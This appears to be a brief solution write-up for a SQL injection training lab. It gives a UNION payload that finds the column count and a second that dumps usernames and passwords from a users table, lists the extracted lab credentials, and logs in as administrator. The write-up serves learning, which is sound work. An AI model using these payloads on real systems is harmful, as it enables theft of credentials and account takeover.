Skip to content

SQL injection UNION attack, retrieving data from o

SQL injection UNION attack, retrieving data from other tables

Solution

How columns has database

I found that DB has two columns

Payload: ' UNION SELECT NULL,NULL--

Get usernames and password

I find below creds:
carlos
kotoe8ld2rq8b0g8y9fm
administrator
bih29d3oo2wv8alr0gb9
wiener
61i1sswdd4c5ygk61ini

Payload: ' UNION SELECT username,password FROM users--

Login as user: administrator

administrator
bih29d3oo2wv8alr0gb9